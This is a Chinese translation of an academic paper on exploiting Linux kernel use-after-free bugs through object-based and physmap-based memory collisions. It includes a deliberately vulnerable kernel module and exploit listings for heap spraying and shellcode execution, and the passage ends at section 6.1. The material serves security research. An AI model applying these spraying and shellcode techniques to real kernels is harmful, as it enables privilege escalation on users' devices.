文献翻译 | 从碰撞到漏洞利用:释放 Linux 内核中的 UAF 漏洞

元信息

已识乾坤大,犹怜草木青。

这些年匆匆忙忙,执念那么深,也许自己也不知道要怎样。

借用 Anne Frank 的一句话在这里表达一下对未来的美好祝愿吧:

“在此期间,我必须保持我的理想,也许以后有那么一天,这些理想还能实现。”

Genau :)

这是毕业设计的第二篇翻译。至此,外文翻译结束了。相对来说,这篇难翻译许多。文中很多语句现在看来或许还不够通顺,但是我觉得逻辑是清晰的。如果发现问题,还望指出。

The original paper is From collision to exploitation: Unleashing Use-After-Free vulnerabilities in Linux Kernel by Wen Xu, Juanru Li, Junliang Shu, Wenbo Yang, Dawu Gu from Shanghai Jiao Tong University.

主题:安全。

关键词:内存碰撞;UAF 漏洞;Linux 内核漏洞利用

类别及主题描述:D.4.6 【操作系统】:安全和保护

通讯作者:yyjess@sjtu.edu.cn

摘要

鉴于 Linux 内核漏洞日渐增多,攻击者也把他们的兴趣转移到相关的漏洞利用技术上。然而,与用户态“释放后使用”(后文简称 UAF )漏洞的大量研究相比,针对 Linux 内核态 UAF 漏洞利用却因为其困难而很少见到——困难主要来自于内核内存的不确定布局。在没有特定信息泄露的情况下,攻击者只能采取盲覆盖内存策略,来尝试破坏内核的关键部分,这种方法成功率很低。

在本文中,我们将展示一种新的内存碰撞策略,它能够可靠地进行 Linux 内核态 UAF 漏洞利用。该漏洞利用策略的思想是,在内核内存重用机制被广泛部署的前提下,我们能够构建具有相当概率的内存碰撞,而这将显著提升攻击的成功率。基于这个思路,我们将展示两个切实可行的内存碰撞攻击:一个是基于对象的攻击,它通过影响内核内存分配器的内存循环机制来达到覆盖已释放的有漏洞对象;另一个是基于 physmap 的攻击,它利用 physmap 和 SLAB 缓存之间的重叠来实现更灵活的内存操纵。我们提出的攻击方法适合于多种不同架构的 Linux 内核,能够成功攻陷内核中存在 UAF 漏洞的系统。值得一提的是,通过利用 CVE-2015-3636 Linux 内核 UAF 漏洞,我们在多种流行 Android 设备(内核版本不小于 4.3)上完成了权限提升,包括使用 64 位 处理器的设备。就我们所知,这是第一个针对最新版本 Android 系统的一般性内核攻击。最后,我们将提出两个漏洞缓解方案,来防御这种内存碰撞。

1. 介绍

近来诸如 DEP、ASLR、栈金丝雀值和沙盒隔离等漏洞缓解措施显著增加了攻陷用户态程序的成本,因此攻击者将兴趣转向操作系统内核。与应用程序相比,攻击者对当下的操作系统内核的很大兴趣主要出于两个原因。第一,攻击内核往往更有效果。如果应用程序的沙盒不能被绕过,攻击者就无法真正对系统或其他应用造成伤害,尤其是在 Android 和 iOS 设备上。然而,如果攻击者能够攻陷内核并实现内核上下文的代码执行,他将能够完全控制系统,没有绕过沙盒的必要。第二,与应用程序相比,系统内核应用的保护和漏洞缓解措施更少。

随着 Linux 内核安全性的提高,像逻辑错误和参数、权限缺少检查这些漏洞将越来越少见。由于栈金丝雀值被应用到内核,NULL 指针解引用及栈溢出的漏洞也更加难利用 [7]。因此对于攻击者来说,如今与内核堆相关的漏洞,如堆溢出和 UAF 成为更有意义的目标。然而,要在内核中进行堆漏洞利用(如 UAF)仍不是简单的事,尽管与应用程序相比,内核中的缓解措施和保护机制更少。在内核中,构建特定的堆布局更加困难,因为内核中运行着各种各样的任务,它们会同时对堆产生影响。为了有效、高效地利用内核 UAF 漏洞,我们要先战胜以下挑战:

稳定性:作为现代操作系统,Linux 支持多线程调度,这意味着大量任务会在系统上同时执行。所有任务都可能对内核施加影响,从而将随时导致内核对象的分配和释放。在这个环境下,内核内存分配器的行为将是不稳定、不可预测的,这一点是内核态漏洞利用最麻烦的地方。成功的攻击应该仅仅覆盖目标内核对象,同时不会造成预期之外的内存破坏。

隔离:根据内核内存分配器(SLAB 和 SLUB 分配器,在第三节讲述)的内部工作原理,不同类型的内核对象不能被存储在同一个内存区域。基于内存覆盖的攻击需要规避这样的限制才能覆盖目标。

数据控制:内存覆盖时,新对象将出现在曾被已释放对象占据的位置,并使用它的数据填充被释放对象。在进行像 UAF 这样的内存破坏漏洞的利用时,用于覆盖的数据十分关键。因此很重要的一点是,碰撞攻击不仅要占据空间,还要完全控制填充的数据。

为了战胜这些挑战,我们提出一种新的内存碰撞攻击策略,它能够被广泛用于 Linux 内核的 UAF 漏洞利用。这种攻击的基本思想是,内核的内存分配和重用机制暴露出一些特征,它们可以用于构建高成功率的内存碰撞(具有相当概率的内存覆盖)。例如,由于物理内存的限制,系统在未来的分配中总是首先重用最近被释放的内存,这样可以提高性能、节约电量。这种行为减少了内存布局的熵,将导致高可能性的内存碰撞。凭借这一特性,我们能够以大概率完成这些内存碰撞漏洞的利用。这解释了为什么如今碰撞类型的漏洞很可能发生,而攻击者总是能够成功利用它们。

作为概念性验证,我们将基于这种内存碰撞攻击策略构建两个可行的攻击:

基于对象攻击:第一个攻击主要通过调用 kmalloc 创建的内核缓冲区来制造与已释放的有漏洞对象的碰撞,并给它填充特定数据。这基于以下观察:借助 SLUB 分配器提供的大小隔离机制可以成功实现内核中的内存碰撞。由于不同类型的对象可能有同样的大小,经过精心设计的攻击,它们会被 SLUB 分配器放入一个缓存。我们将展示两种类型的基于对象攻击。一种是相同大小的对象之间的碰撞攻击,这种攻击很稳定,但是存在许多限制条件。另一种是不同对象之间的碰撞攻击,这种攻击规避了内核分配器的对象隔离限制。

基于 physmap 攻击:第二个攻击主要使用内核中的 physmap 来实现内存碰撞,它是一种更强大的攻击。Physmap 是内核地址空间中一个大的虚拟内存区域,包含了全部或部分物理内存的直接映射。文献 [17] 第一次提到使用 physmap 来绕过应用程序级别的保护。基于前人的工作,我们发现了预期之外且更强大的 physmap 利用方式,能够用来重新填充已释放的漏洞对象。这将导致通用、稳定且可靠的 Linux 内核中 UAF 漏洞利用。

简而言之,我们的攻击能够完全绕过 SLAB/SLUB 分配器的隔离机制。我们发现,采用这种攻击方法,Linux 内核中几乎所有的 UAF 漏洞都能够被利用。事实上,我们提出的基于 physmap 攻击战胜了绝大多数上面提到的、进行 UAF 漏洞利用时会碰到的困难,并且能够广泛用于 32 位和 64 位版本多种架构的 Linux 系统,包括 Android 内核。为了证明这种攻击的有效性和广泛应用能力,我们进行了一系列实验。特别地,借助笔者发现的 CVE-2015-3636 漏洞,我们将展示一个一般性的 Android 内核漏洞利用,去root 当今市场上包括 64 位设备在内的大多数 Android 设备完成。另外,本文还将展示两个有效防御这些攻击的缓解措施。

2. 全局视角

2.1 Linux 内核中的 UAF 漏洞

当一个 UAF 漏洞与内核对象有关时,它曾经使用过内存在被内核分配器收回后可以再一次被攻击者访问。

下面列表 1 中的代码就是一个典例。这是一个存在漏洞的内核模块,它引入了一个新的 syscall,我们可以通过选项 1 分配到缓存中大小为 512 字节的内核对象,可以通过选项 2 将分配过的对象释放。使用选项 3 时,特定内核对象中的一个函数指针将被调用。如果这个对象已经被释放,然后被填充为攻击者控制的数据,x86/x64 上的 EIP/RIP 寄存器或 ARM 上的 PC 寄存器将被劫持到注入进来的 shellcode 上,从而导致内核态的任意代码执行。

// 列表 1:存在漏洞的内核模块

asmlinkage int sys_vuln(int opt, int index)
{
    ...
    switch (opt)
    {
    case 1: /* Allocate */
        ...
        obj[total++] = kmem_cache_alloc(cachep, GFP_KERNEL);
        break;
    case 2: /* Free */
        ...
        free(obj[index]);
        ...
        break;
    case 3: /* Use */
        ... 
        /* no status checking */
        void (*fp)(void) = (void (*)(void))(*(unsigned long *)obj[index]);
        fp();
        break;
    }
    ...
    /* Return index of the allocated object */
    return (total - 1);
}

static int __init initmodule(void)
{
    ...
    cachep = kmem_create_cache("vuln_cache", 512, 0, SLAB_HWCACHE_ALIGN, NULL);
    sct = (unsigned long **)SYS_CALL_TABLE;
    sct[NR_SYS_UNUSED] = sys_vuln;
    ...
}
...

事实上,在利用 UAF 漏洞时,准确地重新覆盖曾属于某个存在漏洞的对象的内存并不容易。Linux 内核内存布局的复杂性和多样性使得准确布置一次漏洞利用十分困难。与用户态程序相比,实现系统内核的内存覆盖更加困难。这些困难来自以下事实:一个 CPU 核心上会有许多任务并发调度,所有这些任务都会对内核堆造成影响。因此,攻击者再也不能预测到内核空间精确的内存布局。包括分配随机化、隔离不同类型内核对象和对 per-CPU 缓存空间的支持在内的内核分配器工作机制可能也大大降低了内核内存覆盖发生的概率。在没有特定信息泄露的情况下,攻击者只能进行内存填充,以此来尝试覆盖重要内存区域,这种攻击的成功率很低。

2.2 内存碰撞策略

我们提出的攻击引入了一种新的内存碰撞策略,能够保证攻击者控制的内存区域以显著稳定性覆盖重要的内存区域。图 1 展示了这种碰撞策略。

Bildschirmfoto 2019-03-13 um 8.57.49 A

从本质上来看,为了实现与存在漏洞的已释放对象的内存碰撞,我们希望该对象被分配在这样一个地方——稍后我们布置的重要内核对象所在的位置。为了实现可靠的内存碰撞,我们的攻击利用了一系列的内核特有操作(例如,对象分配的行为方式)。出于物理内存的限制和增强性能表现的考虑,Linux 内核在未来的分配中总是首先重用已释放内存,我们提出的攻击策略利用了以下事实:一旦一个已分配的存在漏洞内核对象被释放,内核将在最近的内存分配中重用该对象曾使用的内存。这种攻击策略的思想是,我们一直去尝试寻找这样一个候选者——它被内核选定重用曾被存在漏洞内核对象使用、如今已被释放的内存空间。这个候选者可以是一个对象、一个缓冲区或者甚至是一个来自用户空间的映射区域(physmap)。基于对内核分配机制的深刻理解,我们选择合理的候选者并且有意地通过控制这些候选者来安排攻击,从而将内存盲覆盖变为稳定高概率的内存碰撞。

特别地,在本文中我们提出两个具体的内存碰撞攻击,各自有着不同的攻击面。第一个攻击将跟随内核分配器工作机制,构建内存碰撞,在多种堆保护措施下完成(例如对不同类型对象的隔离)。第二个攻击依赖于以下事实:存在漏洞的对象也可以与内核态内存的映射区域进行碰撞,这里的候选者往往不是一个单一内核对象。通过利用映射内存,第二个攻击将会更加通用,因为它不关心和其他内核对象之间的隔离问题。这两个攻击可以广泛用于 Linux 内核态的 UAF 漏洞利用,能够克服内核分配器带来的大多数困难。在后文中,我们将详细讨论这两个攻击的关键部分。

3. 基于对象攻击

本节将展示 Linux 内核中基于对象的内存碰撞攻击的细节。在讨论攻击之前,我们先来看看内核内存分配器的工作机制。然后我们将介绍两种基于对象的攻击:分别是相同大小和不同大小的对象之间的内存碰撞。

3.1 Linux 内核的内存分配

在 Linux 内核中,SLAB/SLUB 分配器负责内核对象的内存分配。SLAB 分配器为特定类型的内核对象创建一个名为 SLAB 缓存的容器作为存储单元。它包含容器缓存种类决定的特定对象数据 [18]。另外,Linux 内核中通常有两个分配对象的接口。一个是 kmem_cache_alloc [25],使用时要指定 SLAB 缓存类型;另一个是 kmalloc [25],使用时只需要给出分配大小,不必指出缓存类型。调用 kmalloc 创建的对象仍然会根据它们的大小被分入不同的 SLAB 缓存。这些 SLAB 缓存被命名为 kmalloc-size SLAB 缓存。另一个重要的内核分配器是 SLUB,从 2008 年开始,它就被应用在 Linux 内核中,并改善了 SLAB 分配器的性能。

对于攻击者来说,SLAB/SLUB 分配器主要引入了两个限制。第一,Linux 内核采用的这种堆管理机制通常能够阻止攻击者构造内核对象之间的内存碰撞。SLAB 缓存将不同类型的内核堆对象彼此隔离。因此,向 SLAB 缓存中的空位插入一个新对象并让两种不同类型的对象同时存在于一个缓存中是不可能的。当攻击者要利用 Linux 内核中的 UAF 漏洞时,这种隔离将给他构造不同类型内核对象之间的内存碰撞带来困难。第二,考虑内核堆的一个典型状态:当一个对象将要被分配的时候,内核中可能有多个半满的 SLAB 缓存能够储存它。这些半满缓存中的空洞在内存分配时具有更高优先级。为了确保存在漏洞的对象被分配到刚刚创建,而非已经存在的 SLAB 缓存中,可靠的攻击必须考虑到这种情况并尝试先将这些半满 SLAB 缓存的所有空洞填满。这个过程常被称作去碎片化

3.2 相同大小对象之间的碰撞

我们首先展示不打破 SLUB 分配器大小规则的内存碰撞。

由于编译过程中内核源代码和配置的不同,各种 Linux 内核中的对象大小也不尽相同。图 2 给出了在 32 位 Linux 上执行 slabinfo 命令的部分结果。事实上,SLUB 分配器尽力合并相同大小的内核对象,而非将同一个类型的对象放入同一个缓存,这样可以减少开销,增加内核对象的缓存热度。正如图 2 所展示的那样,如果不同类型的内核对象大小相同,它们将被放入同一个缓存。例如,vm_area_structkmalloc-96 大小都是 96 字节,这表明它们有很大的几率被放在内核中同一个缓存中。分配器的这种行为允许攻击者构造相同大小内核对象之间的内存碰撞。

t

我们借助 2.1 节介绍的有漏洞模块来说明为什么我们的攻击能够将已释放对象填充为被控制的数据。在这个模块中,每个被释放的有漏洞对象的大小是 512 字节。为了引入碰撞,根据 SLUB 分配器的大小规则,我们要选择一个不同类型但大小相同(512 字节)的候选者对象来重新占据被释放的空间。同时,为了控制已释放空间的内容,攻击者应该能够对候选者对象的数据进行赋值。因此,内核中的 kmalloc-size 缓冲区是最好的选择,因为它易于分配、具有多种不同大小且使得攻击者有完全控制重新填充的数据的能力。例如,在 sendmmsg 过程中,kmalloc 会分配一个转移缓冲区。攻击者能够设定缓冲区大小,因为它表示控制信息的长度,同时还能控制缓冲区中的数据,因为它是要被传递的控制信息。

下面列表 2 中的代码将通过基于对象的碰撞攻击来利用 2.1 节恶意内核模块中的 UAF 漏洞,从而攻陷内核并获得内核态任意代码执行能力。最重要的部分——漏洞利用——包括四个关键环节:分配对象、释放对象、覆盖已释放对象和重用已释放对象。注意,缓冲区长度为 512 字节,与漏洞对象的大小相等。参数 M 和 N 可以由攻击者根据实际场合指定。

// 列表 2:基于对象攻击

/* setting up shellcode */
void *shellcode = mmap(addr, size, PROT_READ | 
    PROT_WRITE | PROT_EXEC, MAP_SHARED | 
    MAP_FIXED | MAP_ANONYMOUS, -1, 0);
...

/* exploiting
    D: Number of objects for defragmentation 
    M: Number of allocated vulnerable objects 
    N: Number of candidates to overwrite
*/

/* Step 1: defragmenting and allocating objects */
for (int i = 0; i < D + M; i++)
    index = syscall(NR_SYS_UNUSED, 1, 0);
/* Step 2: freeing objects */
for (int i = 0; i < M; i++)
    syscall(NR_SYS_UNUSED, 2, i);
/* Step 3: creating collisions */
char buf[512];
for (int i = 0; i < 512; i += 4)
    *(unsigned long *)(buf + i) = shellcode;
for (int i = 0; i < N; i++)
{
    struct mmsghdr msgvec[1];
    msgvec[0].msg_hdr.msg_control = buf;
    msgvec[0].msg_hdr.msg_controllen = 512;
    ...
    syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
}
/* Step 4: using freed objects (executing shellcode) */
for (int i = 0; i < M; i++)
    syscall(NR_SYS_UNUSED, 3, i);

3.3 不同大小对象之间的碰撞

3.2 节描述的攻击有一个明显的缺陷:只有像第 2 节给出的示例模块那样,当漏洞对象的大小能够与 kmalloc 分配的内存大小对齐时,攻击才能有效,考虑这样一种场景:漏洞模块大小为 576 字节,无论是 kmalloc-512 还是 kmalloc-1024 的对象都无法通过 3.2 节介绍的方法与它进行内存碰撞。因此,我们需要一个更通用的碰撞攻击。

假设上述存在漏洞的内核模块代码第 27 行经过修改,缓冲区大小由 512 字节变为 576 字节,我们将借此展示一个不必考虑目标漏洞对象的大小的高级攻击。这次的攻击仍然采用 kmalloc-size 类型的内核缓冲区作为内存碰撞的候选者。

对于 Linux 内核的 SLAB 分配器来说,如果某个 SLAB 缓存中的所有对象都被释放,整个缓存将被重用于未来的内存分配。这意味着,被释放的 SLAB 缓存稍后可以被用于存储一个类型完全不同的对象,这样一来,我们就克服了大小隔离的限制。因此,在新的攻击中,一开始我们将创建一些新的 SLAB 缓存并用漏洞对象将其填满。注意,所有储存在这些 SLAB 缓存中的对象都是碰撞的目标。然后通过触发 UAF 漏洞,所有这些对象都被释放,但是依然可以被攻击者访问到。当这些 SLAB 缓存中的所有对象都被释放后,它们将被内核重用。之后通过调用 sendmmsg,这些已释放空间将被用于创建 kmalloc-size 的缓冲区。

事实上,我们仍然可以使用 3.2 节给出的代码来攻击修改后的漏洞模块并执行内核 shellcode。无论是 kmalloc-256 还是 kmalloc-128 缓冲区都能够作为候选者来覆盖已释放内存。我们也需要更大的 M 和 N 参数,以保证攻击的可靠性。

4. 基于 physmap 攻击

通过不同大小内核对象之间的内存碰撞来完成的基于对象攻击存在一个明显的缺陷:不确定性。在本节中,我们将展示一种没有上述缺陷的更通用的攻击,它借助内核内存中名为 physmap 的特定映射区域实现。事实上,physmap 最初被应用在 Ret2dir 技术 [17] 中来绕过 Linux 内核现有的保护机制。因为攻击者在用户空间中构造的数据会被通过 physmap 直接映射到内核空间,所以它可以被用来重写那些被曾已释放漏洞对象使用过的内存,从而实现对 UAF 漏洞的利用。

当攻击者以设计好的虚拟地址为参数调用 mmap 并接着对这个地址调用 mlock时,这些用户空间的页面可能直接被映射内核空间的 physmap 区域。因此,这个攻击将在用户空间重复调用 mmap,并将特定数据喷射到 physmap 区域。为了方便起见,后文中提到的 physmap 代表内核中那些已经被填充了攻击载荷的直接映射空间。

我们再一次利用 2.1 节给出的模块来展示这次攻击。本次攻击的思路是利用 physmap 来构造碰撞攻击、覆盖已释放对象,所有包含目标漏洞对象的缓存都应该在未来的分配中被重用,因为 physmap 从不占据正在使用的虚拟内存。在基于 physmap 攻击的开始,我们先用与漏洞对象大小相同的特定内核对象来去碎片化(正如在第 3 节提到的那样)。

Bildschirmfoto 2019-03-14 um 9.45.26 A

接着,在所有这些漏洞对象通过漏洞系统调用释放后,内核将生成并重用那些曾经存储过这些漏洞对象的空闲 SLAB 缓存。它们将作为 physmap 的扩展区域来使用,未来的内存碰撞将发生在这里。

然而,为了提高目标对象和 physmap 之间内存碰撞的概率,我们需要抬高内核对象的分配位置。图 3 给出了包含 SLAB 缓存和 physmap 的内核内存布局。可以看到,physmap 从相对较低的虚拟地址开始,而 SLAB 缓存则通常位于高地址。我们的目标是在这两个区域之间构造内存碰撞。鉴于物理内存有限,用于喷射 physmap 的数据总量也有上限。另外,出于扩展需要,physmap 往往会要求一块特定大小的完整空闲内存。

如果在去碎片化后立即分配漏洞对象,physmap 可能还无法扩展到能够覆盖那些曾经被目标对象占用的 SLAB 缓存的位置。

因此,我们的方案是按组进行内核对象喷射。在每个组中,喷射特定数量的内核对象来做填充,然后分配一些存在漏洞的内核对象作为碰撞目标。这样能够使漏洞对象分散出现在内核空间中,从而极大地提升 physmap 与漏洞对象的碰撞概率。另外,如果攻击者能够轻松地在他的程序中分配和释放目标漏洞对象,那么该对象本身就可以作为填充对象使用。

接下来,用作填充的对象按预定计划被释放,而那些漏洞对象应该通过触发 UAF 漏洞的方式来释放。在所有已分配对象都释放完毕后,之前被这些对象占据的空间也就被释放了,被释放的连续小片内存将被合并成大片,之后便可用于 physmap 的扩展。

注意,从新填充的步骤应该在上步完成后立刻进行,以防释放的内存被内核分配给系统中其他活跃任务,从而被污染。这次我们将用 physmap 来引入与漏洞对象之间的内存碰撞。为了将 physmap 用完全被用户控制的数据填充,应尽可能多地使用大尺寸作为参数重复调用 mmap。我们将用指定数据填充每块 mmap 返回的虚拟内存并对它调用 mlock。随着带有攻击载荷的 physmap 的增长,那些曾被漏洞对象使用的已释放内存最终会被覆盖,我们将成功实现内存碰撞。

下面的代码展示了针对恶意内核模块的基于 physmap 攻击的漏洞利用部分。

/* exploiting
 D: Number of objects for defragmentation
 E: Iterations of object spraying
 P: Number of objects for padding in one group
 V: Number of allocated vulnerable objects in one group
*/

/* Step 1: defragmenting */
for (int i = 0; i < D; i++)
    syscall(NR_SYS_UNUSED, 1, 0);
/* Step 2: object spraying */
p = 0;
v = 0;
for (int i = 0; i < E; i++)
{
    for (int j = 0; j < P; j++)
        pad[p++] = syscall(NR_SYS_UNUSED, 1, 0);
    for (int j = 0; j < V; j++)
        vuln[v++] = syscall(NR_SYS_UNUSED, 1, 0);
}
/* Step 3: freeing */
for (int i = 0; i < p; i++)
    syscall(NR_SYS_UNUSED, 2, pad[i]);
for (int i = 0; i < v; i++)
    syscall(NR_SYS_UNUSED, 2, vuln[i]);
/* Step 4: creating collisions */
unsigned long base = 0x10000000;
while (base < SPRAY_RANGE)
{
    unsigned long addr = (unsigned long)mmap((void *)base, 0x10000000,
        PROT_READ | PROT_WRITE | PROT_EXEC, 
        MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
    unsigned long i = addr;
    for (; i < addr + 0x10000000; i += 4)
        *(unsigned long *)(i) = shellcode;
    mlock((void *)base, 0x10000000);
    base += 0x10000000;
}
/* Step 5: using freed objects (executing shellcode) */
for (int i = 0; i < v; i++)
    syscall(NR_SYS_UNUSED, 3, vuln[i]);

注意,如果目标漏洞对象中存储的值可以通过特定系统调用读取,那么第 4 步中可以增加额外一步操作,从而提高攻击的效率和准确度。首先,除了那些被喷射到 physmap 中用于覆盖已释放漏洞对象中特定偏移处的关键项来防止内核崩溃并执行内核代码的重要值外,我们再向 physmap 中喷射一个类似于 0xdeadbeef 这样的特定魔数。然后对于所有漏洞对象,在调用过 mmap 后的每个阶段都读出其中的一个值。如果它直接等于魔数,或者正确反映出曾被填充进去的魔数,那么内存碰撞已经发生,physmap 喷射就应该停止了。

5. 攻击效果

在本节中,我们将评估前文提出的基于对象和基于 physmap 内存碰撞攻击的效果。

5.1 基于对象攻击

5.1.1 可行性分析

图 4 展示了基于内核对象之间内存碰撞的攻击详情,信息是由一个自定义内核模块生成的。在模块中,一个用来存储大小为 576 字节对象的特定缓存被创建,然后一些内核对象被分配到该缓存处,它们的虚拟地址被记录下来。接着,这个内核模块释放了该缓存中的所有对象并通过调用 kmalloc 分配了 1024 个 大小为 512 字节的缓冲区,缓冲区地址也被记录下来。通过查看内核模块输出的信息,可以发现当第 716 个 kmalloc-512 缓冲区被创建时,发生了内存碰撞,因为它的虚拟地址与第一个 576 字节的对象相同,这说明基于对象攻击是可行的。

Bildschirmfoto 2019-03-14 um 5.49.57 P

5.1.2 优点

第 3 节介绍的基于对象攻击使用 kmalloc 分配的对象来覆盖已释放漏洞对象的内存。由于 Linux 内核中成百上千的逻辑流都包含创建 kmalloc-size 缓冲区的部分,因此 kmalloc-size 类型的对象是受控制程度最高的内存碰撞候选者,因为攻击者很容易就可以在用户程序中通过系统调用来分配。例如,内核中的 sendmmsg 在执行过程中会调用 kmalloc 创建一个缓冲区用来存储消息传送过程中的控制消息。另外,如果你从管道的另一端向这端写入,将会有 kmalloc-size 缓冲区被分配来存储这些临时数据。

kmalloc-size 缓冲区的第二个优点是,它的内容和大小都是用户可控的。由于不同情况下目标漏洞对象大小不同,我们需要控制候选者对象的大小,使它与漏洞对象相匹配。多种 kmalloc-size 对象通常被视为储存来自用户空间数据的缓冲区。这就使得攻击者能完全控制用于覆盖的内容,从而能够将注入代码或内核 ROP 组件的地址放入漏洞对象中。

5.1.3 限制

基于对象攻击在实际应用中仍然面临着一些比较严格的限制:

5.2 基于 physmap 攻击

5.2.1 可行性分析

基于 physmap 攻击的可行性取决于 physmap 最后是否能覆盖储存漏洞对象的 SLAB 缓存。下面将从两个不同的平台来讨论:

32 位 Linux 内核:对于当今大多数桌面 PC 和 Android 设备上的 32 位 Linux 平台来说,内核空间从 0xc0000000 开始,到 0xffffffff 结束,如图 3 所示。正如文献 [17] 描述的那样,physmap 开始于 0xc0000000,在 x86 架构上的大小是 891MB,在 ARM 架构上是 760MB,也就是说,x86 上的结束地址是 0xf7b00000,Android (ARM) 上的结束地址是 0xef800000。内核对象一开始被分配在 0xd00000000xf0000000、也就是 SLAB 缓存的虚拟地址范围中,基于这个事实,在基于 physmap 攻击的对象喷射步骤之后,漏洞对象应该均匀地分布在内核空间中。因此,当 physmap 随着喷射向上增长时,它将有很大概率覆盖目标 SLAB 缓存。

64 位 Linux 内核:对于 64 位 Linux 平台来说,在 x86 架构上内核空间开始于 0xffff880000000000,在 ARM 架构上开始于 0xffffffc000000000。正如文献 [17] 描述的那样,physmap 开始于内核空间的起始处,在 x86_64 上大小为 64TB,在 ARM 上大小为 256GB。考虑到 64 位系统只使用 48 位寻址,physmap 的范围包括了整个内核空间。虽然 64 位 Linux 平台上内核对象的分配要比 32 位 Linux 平台上随机得多,在没有内存压力的情况下,内核对象仍然会被放置在内核空间中特定大小的区域中。对于 x86_64 来说,内核对象一开始通常被分配在 0xffff8800000000000xffff8800ffffffff 的虚拟地址范围,对于 ARM 来说,内核对象一开始会被分配在 0xffffffc0000000000xffffffc0ffffffff 的虚拟地址范围。然而,对于任何内核是 64 位的设备或 PC 来说,它有相对较大的 RAM,通常不小于 2GB。在基于 physmap 攻击的对象喷射步骤之后,physmap 和目标 SLAB 缓存之间的内存碰撞有很大概率发生。

一般而言,基于 physmap 的攻击被认为在 32 位内核和 64 位内核上都能生效。事实上,整个内核空间的大小不是成功碰撞的唯一因素。 RAM 大小也很重要。RAM 大小过低可能会影响基于 physmap 攻击的效果,因为它限制了攻击者能够喷射到 physmap 去的数据总量。

5.2.2 优点

稳定性:基于 physmap 攻击要比基于对象攻击稳定得多。事实上,攻击者唯一需要做的就是重复地在用户空间进行映射并把合适的攻击载荷放进去,而用户程序能够很轻松地处理这些载荷。基于 physmap 的覆盖不通过内核分配器分配任何内核对象,攻击者没有任何必要去了解内核内存布局。

注意,physmap 和所有的 SLAB 缓存同时存储于内核地址空间,它们没有自己的私有空间,这是由于 Linux 内核的虚拟地址空间被限制了。考虑到储存漏洞对象的 SLAB 缓存与 physmap 之间的确定距离,对象喷射步骤不会让漏洞对象集合在一处,而是出现在内核中的不同地方。这也保证了像这样的概率攻击策略的稳定性。

最后,基于 physmap 攻击的附加步骤也提高了攻击稳定性。如果攻击者能够被告知漏洞对象已经被正确覆盖,那么后续的内核喷射将不再需要,它们可能会带来非预期后果。

隔离性:physmap 就像一个噩梦,因为它并非从内部机制,而是从 Linux 内核管理的全局视角上规避了内核分配器提供的内核对象隔离特性。关键点在于内核需要在未来分配中重用已释放内存,没有能力将整个内核内存空间根据不同用途分成不同部分,这是由有限的内存大小和内核的效率需求决定的。这一点使得 physmap 成为最好的候选者之一,提供了一个覆盖曾被漏洞对象使用的已释放内存、构造稳定内存碰撞的机会。

注意,基于 physmap 攻击不关心漏洞对象的大小和类型,这意味着对 Linux 内核隔离保护机制的彻底绕过。

数据控制:由于喷射到 physmap 的东西全部来自用户空间填充在 mmaped 内存的数据,所以它是用户完全可控的。任何符合攻击者心意的内容都能够被填充到曾被目标漏洞对象占据的已释放内存中。

广泛的应用场景:虽然基于 physmap 攻击被设计来实现一般性的 UAF 漏洞利用,它也可以被用来攻击 Linux 内核中其他类型的漏洞,这是因为 physmap 几乎能够覆盖内核中的任何空闲空间。它的一种可能用途是对未初始化内存漏洞进行利用。事实上,在利用其他类型的内核漏洞需要占据一块空闲空间时,这种基于 physmap 的攻击的确有效。

5.2.3 与现有技术对比

现有的技术往往尝试利用内核分配器的特点来覆盖那些存在 UAF 漏洞的内核对象。例如在文献 [6] 中,为了覆盖一个大小为 224 字节的特定内核对象,攻击者使用了另一个大小接近的 256 字节的内核对象。对于这个场景来说,也可以用基于 physmap 攻击来实现稳定覆盖。然而,在下面的场景中,现有技术将失效,但基于 physmap 依然能够表现良好:

多种大小:现有技术总是试图向曾被漏洞对象占据的空间房子一个大小近似的其他内核对象,从而来实现内核 UAF 漏洞利用。然而,目标漏洞对象的大小是多变的。以 CVE-2015-3636(细节将在 6.2 节介绍)为例,存在漏洞的 PING 套接字对象在不同品牌的 Android 设备上可能有至少四种不同大小。同时,在 32 位和 64 位内核上同一个漏洞内核对象的大小也是不一样的。面对这种情况时,现有技术必须在漏洞利用代码中硬编码来实现不同内核的稳定漏洞利用。因此,就需要不同版本的漏洞利用程序。如果事先不能获得大小信息,现有技术的效果就会变得很差,因为它不再能确定哪些类型的内核对象能够用来覆盖漏洞对象。相比之下,基于 physmap 攻击简单又符合直觉。攻击者唯一需要做的事情就是重复地调用 mmap。基于这种攻击可以实现一个通用的漏洞利用程序。

不可控上下文:如果想要利用一个 UAF 漏洞,既需要保证有可覆盖的漏洞对象,还需要保证能够控制写入内容。现有技术在构造碰撞时可能会在内核对象的选择上受到限制,往往这些候选者会是内部对象,攻击者不能在已释放内存中放置合适的载荷,这使后续攻击变得更加困难。而对于基于 physmap 攻击来说,所有这些用于覆盖漏洞对象的内存都是在用户程序汇中通过调用 mmap 生成的,内容自然是可控的。

多线程支持:现有技术也许需要相对准确地预测内核堆布局。但是在攻击程序执行时,许多也在 CPU 核心上调度的其他任务可能影响内核堆的内存布局,从而带来了很大的不确定性。这个因素大大降低了现有技术的攻击成功率。相比之乡,在基于 physmap 攻击的对象喷射和 physmap 喷射的帮助下,我们创建了大量实例,几乎整个内核空间都被占用了。这将其他被调度任务带来的副作用减小到了最低程度。

总之,基于 physmap 攻击能够利用的 Linux 内核 UAF 漏洞要多得多,并且能对被释放内存中的数据进行完全控制。它有广泛的应用场景和很高的稳定性。对于它来说,不可避免的缺点有两个,分别是内存开销和时间开销,这在实践中是可接受的。

5.2.4 限制

在各种各样的平台上,不是所有存在 UAF 漏洞的内核对象都能够被基于 physmap 攻击去覆盖,这有多个原因。首先,如果漏洞对象在被释放后很快就会被重用,那么重新占据这个对象就很困难,因为 physmap 喷射相对来说需要时间。同时,在覆盖之前立即重用该对象可能导致内核崩溃。其次,如果漏洞对象是内核内部使用的,攻击者就不太容易构造这种对象的第二个实例,这样一来,即使我们喷射累这些漏洞对象,并把它们均匀地放置在内核空间中,基于 physmap 攻击的内存碰撞的成功率也会降低。最后,在实施基于 physmap 攻击时,攻击者需要一定数量的直接映射内存来进行喷射,并让 physmap 增长,从而来触及漏洞对象。如果当下可用的物理内存不够,攻击成功率将会下降。

6. 评估

6.1 测试 Linux 内核

